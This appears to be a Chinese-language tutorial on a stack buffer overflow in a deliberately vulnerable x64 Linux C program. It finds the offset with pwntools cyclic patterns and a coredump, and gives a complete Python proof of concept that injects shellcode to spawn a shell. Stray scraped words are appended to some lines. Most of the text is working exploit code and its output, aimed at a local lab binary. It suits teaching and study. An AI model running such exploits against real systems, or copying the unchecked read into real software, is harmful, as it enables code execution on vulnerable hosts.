#include <assert.h> #include <unistd.h> int vuln() { // Define variables char arr[400]; int return_status; // Grab user input printf("What's your name?\n"); return_status = read(0, arr, 800); // Print user input printf("Hey %s", arr); // Return success return 0; } int main(int argc, char * argv[]) { vuln(); return 0; }
這是一個很是標準的帶有棧溢出漏洞的程序,編譯與運行的條件以下:python
gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c
利用這個漏洞的思路以下:linux
使用pwntools中的cyclic生成cycle pyload,獲取如下信息:shell
編寫的Fuzzing程序以下:數組
def find_rbp(): cycle_payload = cyclic(512, n=8) clean_corefile(COREDUMP) # Generate coredump p = process([VULR_BINARY]) p.sendline(cycle_payload) p.wait_for_close() # Analise coredump core = Coredump(COREDUMP) clean_corefile(COREDUMP) # Find RBP address, RBP address is equal to RBP after leaveq return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)
不少基於32位Linux系統講解棧溢出的教程中採用根據EIP中存儲的值來肯定offset,但這個方法在x64系統中不適用。具體地,注意程序生成的coredump文件:函數
(gdb) disas Dump of assembler code for function vuln: 0x00000000004005c7 <+0>: push %rbp 0x00000000004005c8 <+1>: mov %rsp,%rbp 0x00000000004005cb <+4>: sub $0x1a0,%rsp 0x00000000004005d2 <+11>: lea 0x11b(%rip),%rdi # 0x4006f4 0x00000000004005d9 <+18>: callq 0x4004b0 <puts@plt> 0x00000000004005de <+23>: lea -0x1a0(%rbp),%rax 0x00000000004005e5 <+30>: mov $0x320,%edx 0x00000000004005ea <+35>: mov %rax,%rsi 0x00000000004005ed <+38>: mov $0x0,%edi 0x00000000004005f2 <+43>: callq 0x4004d0 <read@plt> 0x00000000004005f7 <+48>: mov %eax,-0x4(%rbp) 0x00000000004005fa <+51>: lea -0x1a0(%rbp),%rax 0x0000000000400601 <+58>: mov %rax,%rsi 0x0000000000400604 <+61>: lea 0xfb(%rip),%rdi # 0x400706 0x000000000040060b <+68>: mov $0x0,%eax 0x0000000000400610 <+73>: callq 0x4004c0 <printf@plt> 0x0000000000400615 <+78>: mov $0x0,%eax 0x000000000040061a <+83>: leaveq => 0x000000000040061b <+84>: retq End of assembler dump.
此時,RIP寄存器的值爲:spa
(gdb) p $rip $1 = (void (*)()) 0x40061b <vuln+84>
說明retq指令執行尚未被徹底執行,程序就發生了段錯誤。retq指令執行時,會檢查棧中存儲的返回地址是否合法。如合法,讀入到rip寄存器並執行,若是不合法,將發出中斷。此時,rip寄存器並無讀入棧中存儲的返回地址code
所以,不能經過分析rip來肯定溢出的offset,但咱們注意到leaveq已經得到了執行,棧中存放的rbp已經被覆蓋,棧中存放的rbp值已經讀入rbp寄存器,能夠經過分析rbp來肯定溢出的offset。blog
由上,就能夠編寫出完整的POC代碼了教程
#!/usr/bin/env python2 import os from pwn import * VULR_BINARY = './vuln2' COREDUMP = './core' context.update(arch='x86_64', os='linux') def clean_corefile(corefile): if os.path.exists(corefile): os.remove(corefile) def find_rbp(): cycle_payload = cyclic(512, n=8) clean_corefile(COREDUMP) # Generate coredump p = process([VULR_BINARY]) p.sendline(cycle_payload) p.wait_for_close() # Analise coredump core = Coredump(COREDUMP) clean_corefile(COREDUMP) # Find RBP address, RBP address is equal to RBP after leaveq return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8) def poc_start(): shellcode = asm(shellcraft.sh()) rbp_address, rbp_offset = find_rbp() payload = shellcode + asm('nop') * (rbp_offset + 8 - len(shellcode)) + pack(rbp_address - rbp_offset, 64) p = process([VULR_BINARY], stdin=PTY, stdout=PTY) p.sendline(payload) p.interactive() poc_start()
執行shellcode後,即運行了一個shell
ip